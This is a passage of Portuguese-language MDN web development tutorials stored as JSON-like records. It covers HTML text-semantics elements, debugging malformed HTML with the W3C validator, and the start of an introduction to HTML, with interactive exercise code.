personagens).\nmonólogo\nNo drama, onde um personagem fala seus pensamentos em voz alta para compartilhá-los com o público e com outros personagens presentes.\naparte\nNo drama, onde um personagem compartilha um comentário apenas com o público para efeito humorístico ou dramático. Isso geralmente é um sentimento, pensamento ou parte de informação de fundo adicional.\n```\n\n\nAs listas de descrição usam um invólucro diferente dos outros tipos de lista — `<dl>`; além disso, cada termo está envolvido em um `<dt>` (termo de descrição) elemento, e cada descrição está envolvida em um `<dd>` (definição de descrição) elemento. Vamos terminar marcando nosso exemplo:\n\n\n```html\n<dl>\n  <dt>solilóquio</dt>\n  <dd>\n    No drama, onde um personagem fala a si mesmo, representando seus pensamentos\n    ou sentimentos internos e no processo, transmitindo-os ao público (mas não a\n    outros personagens).\n  </dd>\n  <dt>monólogo</dt>\n  <dd>\n    No drama, onde um personagem fala seus pensamentos em voz alta para\n    compartilhá-los com o público e com outros personagens presentes.\n  </dd>\n  <dt>aparte</dt>\n  <dd>\n    No drama, onde um personagem compartilha um comentário apenas com o público\n    para efeito humorístico ou dramático. Isso geralmente é um sentimento,\n    pensamento ou parte de informação de fundo adicional.\n  </dd>\n</dl>\n```\n\n\nOs estilos padrões do navegador exibirão as listas com as descrições indentadas um pouco dos termos. Os estilos da MDN seguem esta convenção de forma bastante parecida, mas também enfatizam os termos, para uma definição extra.\n\nsolilóquio\n\nNo drama, onde um personagem fala a si mesmo, representando seus pensamentos ou sentimentos internos e no processo, transmitindo-os ao público (mas não a outros personagens).\n\nmonólogo\n\nNo drama, onde um personagem fala seus pensamentos em voz alta para compartilhá-los com o público e com outros personagens presentes.\n\naparte\n\nNo drama, onde um personagem compartilha um comentário apenas com o público para efeito humorístico ou dramático. Isso geralmente é um sentimento, pensamento ou parte de informação de fundo adicional.\n\nObserve que é permitido ter um único termo com múltiplas descrições, por exemplo:\n\naparte\n\nNo drama, onde um personagem compartilha um comentário apenas com o público para efeito humorístico ou dramático. Isso geralmente é um sentimento, pensamento ou parte de informação de fundo adicional.\n\nPor escrito, uma seção de conteúdo que está relacionada ao tópico atual, mas não se encaixa diretamente no fluxo principal de conteúdo, então é apresentado próximo (muitas vezes em uma caixa ao lado).\n\n### Aprendizagem ativa: marcando um conjunto de definições\n\nÉ hora de pôr as mãos nas listas de descrição. Adicione elementos ao texto bruto no campo de *Entrada* para que ele se pareça como uma lista de descrição no campo *Saída*. Você pode tentar usar seus próprios termos e descrições, se quiser.\n\nSe você cometer um erro, sempre pode reiniciá-lo usando o botão 'Limpar'. Se ficar realmente preso, pressione o botão *'Mostrar solução*' para ver a resposta.\n```\n\n<h2>Entrada</h2>\n<textarea id=\"code\" class=\"input\">\nBacon\nA cola que liga o mundo em conjunto.\nOvos\nA cola que une o bolo juntos.\nCafé\nA bebida que faz correr o mundo pela manhã.\nUma cor castanho claro.</textarea\n>\n<h2>Saída</h2>\n<div class=\"output\"></div>\n<div class=\"controls\">\n  <input id=\"reset\" type=\"button\" value=\"Limpar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar solução\" />\n</div>\n```\n\n\n```\nbody {\n  font-family: \"Open Sans Light\", Helvetica, Arial, sans-serif;\n}\n\n.input,\n.output {\n  width: 90%;\n  height: 10em;\n  padding: 10px;\n  border: 1px solid #0095dd;\n  overflow: auto;\n}\n\nbutton {\n  padding: 10px 10px 10px 0;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar code = textarea.value;\nvar output = document.querySelector(\".output\");\nvar solution = document.getElementById(\"solution\");\n\nfunction drawOutput() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawOutput();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value =\n    \"<dl>\\n <dt>Bacon</dt>\\n <dd>The glue that binds the world together.</dd>\\n <dt>Eggs</dt>\\n <dd>The glue that binds the cake together.</dd>\\n <dt>Coffee</dt>\\n <dd>The drink that gets the world running in the morning.</dd>\\n <dd>A light brown color.</dd>\\n</dl>\";\n  drawOutput();\n});\n\ntextarea.addEventListener(\"input\", drawOutput);\nwindow.addEventListener(\"load\", drawOutput);\n```\n\nCitações\n--------\n\nHTML também possui recursos disponíveis para marcação de citações. Qual elemento você pode usar? Depende se está marcando um bloco ou uma citação em linha.\n\n### Blockquotes\n\nSe uma seção de conteúdo em nível de bloco (seja um parágrafo, vários parágrafos, uma lista, etc.) for citada em algum outro lugar, você deverá envolvê-la em um elemento <blockquote> para indicar isso e incluir um URL apontando para a fonte da citação dentro de um atributo cite. Por exemplo, a marcação a seguir é obtida da página do elemento `<blockquote>` do MDN:\n\n\n```html\n<p>\n  The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or\n  <em>HTML Block Quotation Element</em>) indicates that the enclosed text is an\n  extended quotation.\n</p>\n```\n\n\nPara transformar isso em uma citação em bloco, faríamos assim:\n\n\n```html\n<blockquote cite=\"/pt-BR/docs/Web/HTML/Element/blockquote\">\n  <p>\n    The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or\n    <em>HTML Block Quotation Element</em>) indicates that the enclosed text is\n    an extended quotation.\n  </p>\n</blockquote>\n```\n\n\nO estilo padrão do navegador renderiza isso como um parágrafo recuado, como um indicador de que é uma citação. O MDN faz isso, mas também, adiciona um estilo extra:\n\n> \n> O \\*\\*Elemento HTML `<blockquote>` \\*\\*(or *HTML Block Quotation Element*) indica que o texto em anexo é uma citação estendida.\n> \n> \n> \n\n### Citações em linha\n\nAs citações embutidas funcionam exatamente da mesma maneira, exceto pelo uso do elemento `<q>`. Por exemplo, o bit de marcação abaixo contém uma citação da página MDN <q>:\n\n\n```html\n<p>\n  The quote element — <code>&lt;q&gt;</code> — is\n  <q cite=\"/pt-BR/docs/Web/HTML/Element/q\"\n >intended for short quotations that don't require paragraph breaks.</q\n >\n</p>\n```\n\n\nO estilo padrão do navegador renderiza isso como texto normal entre aspas para indicar uma citação, assim:\n\nO elemento de citação — `<q>` — é \"destinado a citações curtas que não exigem quebras de parágrafo\".\n\n### Citações\n\nO conteúdo do atributo `cite` parece útil, mas, infelizmente, navegadores, leitores de tela etc. não fazem muito uso dele. Não há como fazer com que o navegador exiba o conteúdo de `cite`, sem escrever sua própria solução usando JavaScript ou CSS. Se você deseja disponibilizar a fonte da citação na página, uma maneira melhor de marcá-la é colocar o elemento `<cite>` próximo ao elemento quote. Isso realmente tem o objetivo de conter o nome da fonte da citação — ou seja, o nome do livro ou o nome da pessoa que disse a citação — mas não há razão para que você não possa vincular o texto dentro de `<cite>` à citação fonte de alguma forma:\n\n\n```html\n<p>\n  According to the\n  <a href=\"/pt-BR/docs/Web/HTML/Element/blockquote\">\n    <cite>MDN blockquote page</cite></a\n >:\n</p>\n\n<blockquote cite=\"/pt-BR/docs/Web/HTML/Element/blockquote\">\n  <p>\n    The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or\n    <em>HTML Block Quotation Element</em>) indicates that the enclosed text is\n    an extended quotation.\n  </p>\n</blockquote>\n\n<p>\n  The quote element — <code>&lt;q&gt;</code> — is\n  <q cite=\"/pt-BR/docs/Web/HTML/Element/q\"\n >intended for short quotations that don't require paragraph breaks.</q\n >\n  -- <a href=\"/pt-BR/docs/Web/HTML/Element/q\"> <cite>MDN q page</cite></a\n >.\n</p>\n```\n\n\nAs citações são estilizadas em fonte itálica por padrão. Você pode ver esse código funcionando em nosso exemplo quotations.html.\n\n### Aprendizado ativo: quem disse isso?\n\nHora de outro exemplo de aprendizado ativo! Neste exemplo, gostaríamos que você:\n\n1. Transforme o parágrafo do meio em uma citação em bloco, que inclui um atributo `cite`.\n2. Transforme parte do terceiro parágrafo em uma citação embutida, que inclui um atributo de `cite`.\n3. Inclua um elemento `<cite>` para cada link.\n\nPesquise on-line para encontrar fontes de citação apropriadas.\n\nSe você cometer um erro, sempre poderá redefini-lo usando o botão 'Limpar'. Se você realmente ficar atolado, pressione o botão 'Mostrar solução' para ver a resposta.\n```\n\n<h2>Entrada</h2>\n<textarea id=\"code\" class=\"input\">\n<p>Hello and welcome to my motivation page. As Confucius once said:</p>\n\n<p>It does not matter how slowly you go as long as you do not stop.</p>\n\n<p>I also love the concept of positive thinking, and The Need To Eliminate Negative Self Talk\n(as mentioned in Affirmations for Positive Thinking.)</p></textarea\n>\n<h2>Saída</h2>\n<div class=\"output\"></div>\n<div class=\"controls\">\n  <input id=\"reset\" type=\"button\" value=\"Limpar\" />\n  <input id=\"solution\" type=\"button\" value=\"Mostrar solução\" />\n</div>\n```\n\n\n```\nbody {\n  font-family: \"Open Sans Light\", Helvetica, Arial, sans-serif;\n}\n\n.input,\n.output {\n  width: 90%;\n  height: 10em;\n  padding: 10px;\n  border: 1px solid #0095dd;\n  overflow: auto;\n}\n\nbutton {\n  padding: 10px 10px 10px 0;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar code = textarea.value;\nvar output = document.querySelector(\".output\");\nvar solution = document.getElementById(\"solution\");\n\nfunction drawOutput() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawOutput();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value =\n    '<p>Hello and welcome to my motivation page. As <a href=\"http://www.brainyquote.com/quotes/authors/c/confucius.html\"><cite>Confucius</cite></a> once said:</p>\\n\\n<blockquote cite=\"http://www.brainyquote.com/quotes/authors/c/confucius.html\">\\n <p>It does not matter how slowly you go as long as you do not stop.</p>\\n</blockquote>\\n\\n<p>I also love the concept of positive thinking, and <q cite=\"http://www.affirmationsforpositivethinking.com/index.htm\">The Need To Eliminate Negative Self Talk</q> (as mentioned in <a href=\"http://www.affirmationsforpositivethinking.com/index.htm\"><cite>Affirmations for Positive Thinking</cite></a>.)</p>';\n  drawOutput();\n});\n\ntextarea.addEventListener(\"input\", drawOutput);\nwindow.addEventListener(\"load\", drawOutput);\n```\n\nAbreviações\n-----------\n\nOutro elemento bastante comum que você encontrará ao olhar na Web é o `<abbr>` — usado para contornar uma abreviação ou sigla e fornecer uma expansão completa do termo (incluído em um atributo `title`.) Vejamos alguns exemplos\n```\n\n<p>Usamos <abbr title=\"Hypertext Markup Language\">HTML</abbr> para estruturar nossos documentos da web.</p>\n\n<p>Acho que o <abbr title=\"Reverendo\">Rev.</abbr> Green fez isso na cozinha com a motosserra.</p>\n```\n\n\nElas aparecerão da seguinte forma (a expansão aparecerá em uma dica de ferramenta quando o termo passar o mouse):\n\nUsamos HTML para estruturar nossos documentos da web.\n\nAcho que o Rev. Green fez isso na cozinha com a motosserra.\n\n**Nota:** Há outro elemento, `<acronym>`, que basicamente faz a mesma coisa que `<abbr>`, e foi projetado especificamente para acrônimos, em vez de abreviações. Isso, no entanto, caiu em desuso — não era suportado em navegadores nem o `<abbr>`, e tem uma função semelhante que foi considerado inútil ter os dois. Apenas use `<abbr>`.\n\n### Aprendizado ativo: marcando uma abreviação\n\nPara esta tarefa simples de aprendizado ativo, gostaríamos que você simplesmente marque uma abreviação. Você pode usar nossa amostra abaixo ou substituí-la por uma de sua preferência.\n```\n\n<h2>Entrada</h2>\n<textarea id=\"code\" class=\"input\">\n<p>NASA sure does some exciting work.</p></textarea\n>\n<h2>Saída</h2>\n<div class=\"output\"></div>\n<div class=\"controls\">\n  <input id=\"reset\" type=\"button\" value=\"Reset\" />\n  <input id=\"solution\" type=\"button\" value=\"Show solution\" />\n</div>\n```\n\n\n```\nbody {\n  font-family: \"Open Sans Light\", Helvetica, Arial, sans-serif;\n}\n\n.input,\n.output {\n  width: 90%;\n  height: 5em;\n  padding: 10px;\n  border: 1px solid #0095dd;\n  overflow: auto;\n}\n\nbutton {\n  padding: 10px 10px 10px 0;\n}\n```\n\n\n```\nvar textarea = document.getElementById(\"code\");\nvar reset = document.getElementById(\"reset\");\nvar code = textarea.value;\nvar output = document.querySelector(\".output\");\nvar solution = document.getElementById(\"solution\");\n\nfunction drawOutput() {\n  output.innerHTML = textarea.value;\n}\n\nreset.addEventListener(\"click\", function () {\n  textarea.value = code;\n  drawOutput();\n});\n\nsolution.addEventListener(\"click\", function () {\n  textarea.value =\n    '<p><abbr title=\"National Aeronautics and Space Administration\">NASA</abbr> sure does some exciting work.</p>';\n  drawOutput();\n});\n\ntextarea.addEventListener(\"input\", drawOutput);\nwindow.addEventListener(\"load\", drawOutput);\n```\n\nMarcando detalhes de contato\n----------------------------\n\nO HTML possui um elemento para marcar os detalhes do contato — `<address>`. Isso simplesmente envolve seus detalhes de contato, por exemplo:\n\n\n```html\n<address>\n  <p>Chris Mills, Manchester, The Grim North, UK</p>\n</address>\n```\n\n\nPorém, uma coisa a se lembrar é que o elemento <address> destina-se a marcar os detalhes de contato da pessoa que escreveu o documento HTML e não qualquer endereço. Portanto, o exposto acima só seria bom se Chris tivesse escrito o documento em que a marcação aparece. Observe, que, algo assim também seria bom:\n\n\n```html\n<address>\n  <p>Page written by <a href=\"../authors/chris-mills/\">Chris Mills</a>.</p>\n</address>\n```\n\nSobrescrito e subscrito\n-----------------------\n\nOcasionalmente, você precisará usar sobrescrito e subscrito ao marcar itens como datas, fórmulas químicas e equações matemáticas para que eles tenham o significado correto. Os elementos `<sup>` (en-US) e `<sub>` (en-US) manipulam esse trabalho. Por exemplo:\n\n\n```html\n<p>My birthday is on the 25<sup>th</sup> of May 2001.</p>\n<p>\n  Caffeine's chemical formula is\n  C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.\n</p>\n<p>If x<sup>2</sup> is 9, x must equal 3 or -3.</p>\n```\n\n\nA saída desse código é assim:\n\nMeu aniversário é no dia 25 de maio de 2001.\n\nA fórmula química da cafeína é C8H10N4O2.\n\nSe x2 é 9, x deve ser igual a 3 ou -3.\n\nRepresentando código de computador\n----------------------------------\n\nExistem vários elementos disponíveis para marcar código de computador usando HTML:\n\n* `<code>`: Para marcar partes genéricas de código de computador.\n* `<pre>`: Para reter espaço em branco (geralmente blocos de código) — se você usar recuo ou espaço em branco em excesso no seu texto, os navegadores o ignorarão e você não o verá na sua página renderizada. Se você envolver o texto nas tags `<pre></pre>` seu espaço em branco será renderizado de forma idêntica à maneira como você o vê no seu editor de texto.\n* `<var>`: Para marcar especificamente nomes de variáveis.\n* `<kbd>` (en-US): Para marcar a entrada do teclado (e outros tipos) inserida no computador.\n* `<samp>` (en-US): Para marcar a saída de um programa de computador.\n\nVejamos alguns exemplos. Você deve tentar brincar com eles (tente pegar uma cópia do nosso arquivo de exemplo other-semantics.html):\n\n\n```html\n<pre><code>var para = document.querySelector('p');\n\npara.onclick = function() {\n  alert('Owww, stop poking me!');\n}</code></pre>\n\n<p>\n  You shouldn't use presentational elements like <code>&lt;font&gt;</code> and\n  <code>&lt;center&gt;</code>.\n</p>\n\n<p>\n  In the above JavaScript example, <var>para</var> represents a paragraph\n  element.\n</p>\n\n<p>Select all the text with <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p>\n\n<pre>$ <kbd>ping mozilla.org</kbd>\n<samp>PING mozilla.org (63.245.215.20): 56 data bytes\n64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre>\n```\n\n\nO código acima terá a seguinte aparência:\n\nMarcando horários e datas\n-------------------------\n\nO HTML também fornece o elemento `<time>` para marcar horários e datas em um formato legível por máquina. Por exemplo:\n\n\n```html\n<time datetime=\"2016-01-20\">20 January 2016</time>\n```\n\n\nPor que isso é útil? Bem, existem muitas maneiras diferentes pelas quais os humanos escrevem datas. A data acima pode ser escrita como:\n\n* 20 January 2016\n* 20th January 2016\n* Jan 20 2016\n* 20/01/16\n* 01/20/16\n* The 20th of next month\n* 20e Janvier 2016\n* 2016 年 1 月 20 日\n* And so on\n\nMas essas formas diferentes não podem ser facilmente reconhecidas pelos computadores — e se você quiser pegar automaticamente as datas de todos os eventos em uma página e inseri-las em um calendário? O elemento `<time>` permite anexar uma data/hora inequívoca e legível por máquina para esse fim.\n\nO exemplo básico acima fornece apenas uma data legível por máquina simples, mas existem muitas outras opções possíveis, por exemplo:\n\n\n```html\n<!-- Data simples padrão -->\n<time datetime=\"2016-01-20\">20 January 2016</time>\n<!-- Apenas ano e mês -->\n<time datetime=\"2016-01\">January 2016</time>\n<!-- Just month and day -->\n<time datetime=\"01-20\">20 January</time>\n<!-- Apenas tempo, horas e minutos -->\n<time datetime=\"19:30\">19:30</time>\n<!-- Você pode fazer segundos e milissegundos também! -->\n<time datetime=\"19:30:01.856\">19:30:01.856</time>\n<!-- Data e hora -->\n<time datetime=\"2016-01-20T19:30\">7.30pm, 20 January 2016</time>\n<!-- Data e hora com compensação de fuso horário -->\n<time datetime=\"2016-01-20T19:30+01:00\"\n >7.30pm, 20 January 2016 is 8.30pm in France</time\n>\n<!-- Chamando um número de semana específico -->\n<time datetime=\"2016-W04\">The fourth week of 2016</time>\n```\n\nResumo\n------\n\nIsso marca o fim de nosso estudo da semântica de texto HTML. Lembre-se de que o que você viu durante este curso não é uma lista exaustiva de elementos de texto HTML — queríamos tentar cobrir o essencial, e alguns dos mais comuns que você verá na natureza, ou pelo menos podem achar interessantes. Para encontrar muito mais elementos HTML, você pode dar uma olhada no nosso HTML element reference (a seção Inline text semantics seria um ótimo ponto de partida.) No próximo artigo, examinaremos os elementos HTML que você usaria para estruturar as diferentes partes de um documento HTML.\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima"}
{"title":"Debugging HTML - Aprendendo desenvolvimento web","text":"Debugging HTML\n==============\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima  (en-US)\n\nEscrever HTML é legal, mas e se algo der errado, e você não conseguir descobrir onde está o erro no código? Este artigo apresentará algumas ferramentas que podem ajudá-lo a encontrar e corrigir erros no HTML.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Familiaridade com HTML, conforme abordado, por exemplo, em\n Introdução ao HTML,\n Fundamentos de texto em HTML\n e\n Criação de Hiperlinks.\n  |\n| Objetivo: | \n Aprender o básico sobre o uso de ferramentas de depuração (debugging)\n para encontrar problemas em HTML.\n  |\n\nDepurar não é assustador\n------------------------\n\nAo escrever algum tipo de código, tudo costuma ir bem, até o temido momento quando ocorre um erro — você fez algo errado, então seu código não funciona - talvez não funcione mais nada ou não funciona exatamente como você queria. Por exemplo, a seguir é mostrado um erro relatado ao tentar Compile (en-US) um programa simples escrito na linguagem Rust.\n\n![A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string.](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML/error-message.png)Aqui, a mensagem de erro é relativamente fácil de entender — \"string de aspas duplas sem terminação\". Se você olhar a listagem, provavelmente verá como `println!(Hello, world!\");` pode estar faltando logicamente uma aspa dupla. No entanto, as mensagens de erro podem ficar mais complicadas e menos fáceis de interpretar à medida que os programas se tornam maiores, e até mesmo casos simples podem parecer um pouco intimidadores para alguém que não sabe nada sobre o Rust.\n\nDepurar um código não tem que ser assustador, porém — a chave para se sentir confortável em escrever e depurar qualquer linguagem ou código de programação é a familiaridade com a linguagem e as ferramentas.\n\nHTML e depuração\n----------------\n\nHTML não é tão complicado de entender quanto o Rust. O HTML **não é compilado** em um formato diferente antes do navegador analisá-lo e mostrar o resultado (ele é interpretado, não compilado). E a sintaxe do Element HTML é muito mais fácil de entender do que uma \"linguagem de programação real\" como Rust, JavaScript, ou Python. A forma como os navegadores analisam o HTML é muito mais **permissiva** do que a forma como as linguagens de programação são executadas, o que é bom e ruim.\n\n### Código permissivo\n\nEntão, o que queremos dizer com permissivo? Bem, geralmente quando você faz algo errado no código, existem dois tipos principais de erros que você encontrará:\n\n* **Erros de sintaxe**: São os erros de ortografia no seu código que realmente fazem com que o programa não seja executado, como o erro do Rust mostrado acima. Estes geralmente são fáceis de corrigir, desde que você esteja familiarizado com a sintaxe (forma de escrever) da linguagem e saiba o que significam as mensagens de erro.\n* **Erros lógicos**: São erros onde a sintaxe está correta, mas o código não é o que você pretendia, o que significa que o programa é executado incorretamente. Geralmente, eles são mais difíceis de corrigir do que erros de sintaxe, pois não há uma mensagem de erro para direcioná-lo para a origem deste erro.\n\nO próprio HTML não sofre de erros de sintaxe porque os navegadores o analisam permissivamente, o que significa que a página ainda é exibida mesmo se houver erros de sintaxe. Os navegadores têm regras internas para indicar como interpretar a marcação escrita incorretamente, para que você obtenha algo em execução, mesmo que não seja o esperado. Isso, claro, ainda pode ser um problema!\n\n**Nota:** O HTML é analisado permissivamente porque, quando a web foi criada, foi decidido que permitir que as pessoas publicassem seus conteúdos era mais importante do que garantir que a sintaxe estivesse absolutamente correta. A web provavelmente não seria tão popular quanto é hoje, se tivesse sido mais rigorosa desde o início.\n\n### Aprendizado Ativo: Estudando código permissivo\n\nÉ hora de estudar a natureza permissiva do código HTML.\n\n1. Primeiramente, faça o download do debug-example demo e o salve localmente. Esse exemplo contém erros propositais para que possamos explorá-los (tal código HTML é dito ***badly-formed***, em contraponto ao HTML ***well-formed***).\n2. Em seguida, abra o arquivo em um navegador. Você verá algo como:\n ![A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes. ](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML/badly-formed-html.png)\n3. Isso claramente não parece bom; vamos dar uma olhada no código fonte para tentar achar os erros (somente o conteúdo de *body* é mostrado):\n\n```html\n<h1>Exemplo de debugação HTML</h1>\n\n<p>O quê causa erros em HTML?\n\n<ul>\n  <li>Elementos não fechados: Se um elemento não for <strong>fechado corretamente,\n      pode se espalhar e afetar áreas que você não imaginava\n\n  <li>Elementos desagrupados: Agrupar elementos corretamente é importante para\n    o comportamento do código. <strong>negrito <em>negrito sublinhado?</strong>\n      O que é isso?</em>\n\n  <li>Atributos não fechados: Outra fonte comum de problemas HTML. Vamos dar uma olhada: <a href=\"https://www.mozilla.org/>Link para página da Mozilla</a>\n</ul>\n```\n\n4. Vamos analisar os erros:\n    * Os elementos parágrafo e item da lista não possuem *tags* de fechamento. Olhando a imagem acima, isso não parece ter afetado muito a renderização do HTML já que é fácil deduzir onde um elemento deveria terminar e outro, começar.\n    * O primeiro elemento `<strong>` não possui *tag* de fechamento. Isto é um pouco mais problemático porque não é necessariamente fácil determinar onde um elemento deveria terminar. Assim, todo o resto do texto foi fortemente enfatizado.\n    * Essa seção foi aninhada incorretamente: `<strong>negrito <em>negrito sublinhado?</strong> O que é isso?</em>`. Não é fácil dizer como esse trecho foi interpretado por causa do problema anterior.\n    * O valor do atributo `href` não tem as aspas de fechamento. Isso parece ter causado o maior problema — o *link* não foi renderizado.\n5. Agora vamos dar uma olhada no HTML que o navegador renderizou, comparando-o com o nosso código fonte. Para fazer isso, usaremos as ferramentas de desenvolvimento oferecidas pelo navegador. Se você não está familiarizado com estas ferramentas, dê uma olhadinha nesse tutorial: O que são as ferramentas de desenvolvimento do navegador.\n6. No inspetor DOM, você pode ver como o HTML renderizado fica: \n ![The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text \"What causes errors in HTML?\" Here you can see that the paragraph element has been closed by the browser.](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML/html-inspector.png)\n7. Utilizando o inspetor DOM, vamos explorar nosso código detalhadamente para ver como o navegador tentou consertar os erros do código HTML (nós fizemos a análise com o Firefox, mas outros navegadores modernos *devem* apresentar o mesmo resultado):\n    * As *tags* de fechamento foram colocadas nos parágrafos e itens da lista.\n    * Não está claro onde o primeiro elemento `<strong>` deveria terminar, portanto o navegador envolveu cada bloco subsequente em uma *tag* *strong* própria até o fim do documento!\n    * O aninhamento incorreto foi corrigido pelo navegador da seguinte maneira:\n     html\n    ```html\n    <strong\n     >strong\n      <em>strong emphasised?</em>\n    </strong>\n    <em> what is this?</em>\n    \n    ```\n    * O link cujas aspas de fechamento não estavam presentes foi totalmente excluído da renderização. Então o último item ficou assim:\n     html\n    ```html\n    <li>\n      <strong\n     >Unclosed attributes: Another common source of HTML problems. Let's\n        look at an example:\n      </strong>\n    </li>\n    \n    ```\n### Validação HTML\n\nEntão, você pode ver pelo exemplo acima que você realmente quer ter certeza de que o seu HTML foi bem construido! Mas Como? Em um pequeno exemplo como o que foi visto acima, é facil analisar as linhas e achar os erros, mas e se fosse um gigante e complexo documento HTML?\n\nA melhor estratégia é começar rodando a sua página HTML através do Markup Validation Service — criado e mantido pelo W3C, uma organização que cuida das especificações que define o HTML, CSS, e outras tecnologias WEB. Esta página considera um documento HTML como uma entrada, fazendo a leitura dela e retornando o que há de errado com o seu HTML.\n\n![The HTML validator homepage](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML/validator.png)\n\nPara especificar o HTML a ser validado, você pode dar um endereço web, fazer o upload de um arquivo HTML, ou diretamente inserir o código HTML.\n\n### Aprendizado Ativo: Validando um documento HTML\n\nVamos tentar fazer isto com o nosso sample document.\n\n1. Primero, carregue o Markup Validation Service em uma aba no seu navegador, caso já não esteja carregada.\n2. Troque para a aba Validate by Direct Input.\n3. Copie todo o código do documento de exemplo (não apenas o body) e cole dentro da grande área de texto mostrada no Markup Validation Service.\n4. Pressione o botão *Check*.\n\nVocê deverá receber uma lista de erros e outras informações.\n\n![A list of of HTML validation results from the W3C markup validation service](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML/validation-results.png)\n\n#### Interpretando as mensagens de erros\n\nAs mensagens de erros geralmente são úteis, mas algumas vezes elas não ajudam tanto; com um pouco de prática você pode descobrir como interpretar-lás para arrumar o seu código. Vamos dar uma olhada nas mensagens de erros e ver o que elas significam. Você verá que cada mensagem vem com um número para a linha e um para a coluna afim de ajudar você a localizar o erro facilmente.\n\n* \"End tag `li` implied, but there were open elements\" (2 instances): Estas mensagens indicam que um elemento que esta aberto deveria estar fechado. O final da tag esta implicito, mas não esta realmente lá. A informação de linha/coluna indica para a primeira linha depois de onde a tag de fechamento realmente deveria estar, mas isto é uma pista boa o suficiente para ver o que há de errado.\n* \"Unclosed element `strong`\": Este é muito fácil de entender — um `<strong>` elemento esta aberto, e uma informação de linha/coluna indica diretamente para onde esta.\n* \"End tag `strong` violates nesting rules\": Este aponta os elementos incorretamente aninhados, e a informação de linha/coluna aponta onde o erro está.\n* \"End of file reached when inside an attribute value. Ignoring tag\": Essa é mais enigmática; se refere ao fato de que há um valor do atributo formado indevidamente em algum lugar, possivelmente próximo ao fim do arquivo porquê o fim do arquivo aparece dentro do valor do atributo. O fato de o navegador não renderizar o link deveria nos dar uma boa pista de qual elemento está em falta.\n* \"End of file seen and there were open elements\": Essa é um pouco ambígua, mas basicamente se refere ao fato de que há elementos em aberto que devem ser fechados devidamente. A linha de números aponta para as últimas linhas do arquivo, e esta mensagem de erro vem com uma linha do código que aponta um exemplo de um elemento em aberto:\n```\n\nExemplo: <a href=\"https://www.mozilla.org/>link para página da Mozilla</a> ↩ </ul>↩ </body>↩</html>\n```\n\n\n**Nota:** Um atributo faltando uma aspas pode resultar em um elemento aberto porque o resto do documento é interpretado como conteúdo do atributo.\n* \"Unclosed element `ul`\": Esta não ajuda em nada, já que o elemento `<ul>` *está* fechado corretamente. Este erro aparece porque o elemento `<a>` não foi fechado, devido a falta de aspas de fechamento.\n\nSe você não descobrir o significado de todas mensagens de erro, não se preocupe — uma boa ideia é tentar resolver alguns erros por vez. Então tente revalidar seu HTML para ver o que restou. Às vezes resolver erros anteriores pode te livrar de outras mensagens de erro — vários erros podem ser causados na maioria das vezes por um só, tipo um efeito dominó.\n\nVocê vai saber quando todos os seus erros forem resolvidos quando ver a seguinte bandeira no output:\n\n![Banner that reads \"The document validates according to the specified schema(s) and to additional constraints checked by the validator.\"](/pt-BR/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML/valid-html-banner.png)\n\nSumário\n-------\n\nEntão é isso, uma introdução a debugação de HTML, na qual deve te dar dicas úteis quando você começar a debugar CSS, JavaScript, e outros tipos de códigos mais tarde na sua carreira. Isso também significa o fim dos artigos de aprendizado do Módulo de Introdução ao HTML — agora você pode testar a si mesmo com nossa avaliação: a primeira está no link abaixo.\n\n* Anterior\n* Menu: Introduction to HTML\n* Próxima  (en-US)"}
{"title":"Iniciando com HTML - Aprendendo desenvolvimento web","text":"Iniciando com HTML\n==================\n\n* Menu: Introduction to HTML\n* Próxima\n\nNeste artigo nós abordamos os princípios básicos do HTML, para você começar. Definimos os elementos, atributos e todos os outros termos importantes que você possa ter ouvido e onde eles se encaixam na linguagem. Também mostramos como um elemento HTML é estruturado, como uma página HTML típica é estruturada e explicamos outras importantes características básicas da linguagem. Ao longo do caminho, nós brincaremos com um pouco de HTML, para despertar seu interesse!\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Básico de informática,\n software básico instalado\n e conhecimento básico de como\n trabalhar com arquivos.\n  |\n| Objetivos: | \n Obter uma familiaridade básica com a linguagem HTML e adquirir um pouco\n de prática escrevendo alguns elementos HTML.\n  |\n\nO que é HTML?\n-------------\n\nHTML (HyperText Markup Language) não é uma linguagem de programação, é uma *linguagem de marcação* utilizada para dizer ao seu navegador como estruturar a página web que você visita. A página pode ser tanto complicada como simples quanto o desenvolvedor web desejar que seja. HTML consiste em uma série de elementos que você usa para anexar, envolver ou *marcar* diferentes partes do conteúdo para que apareça ou aja de uma certa maneira. O fechamento das tags pode transformar uma parte do conteúdo dentro do elemento em um link para direcionar à uma outra página web, colocar as palavras em itálico, e assim por diante. Por exemplo, observe o conteúdo a seguir:\n```\n\nMeu gato é muito mal-humorado.\n```\n\n\nSe nós quisermos que a linha permaneça, nós podemos especificar que é um parágrafo, fechando-a com a elemento de 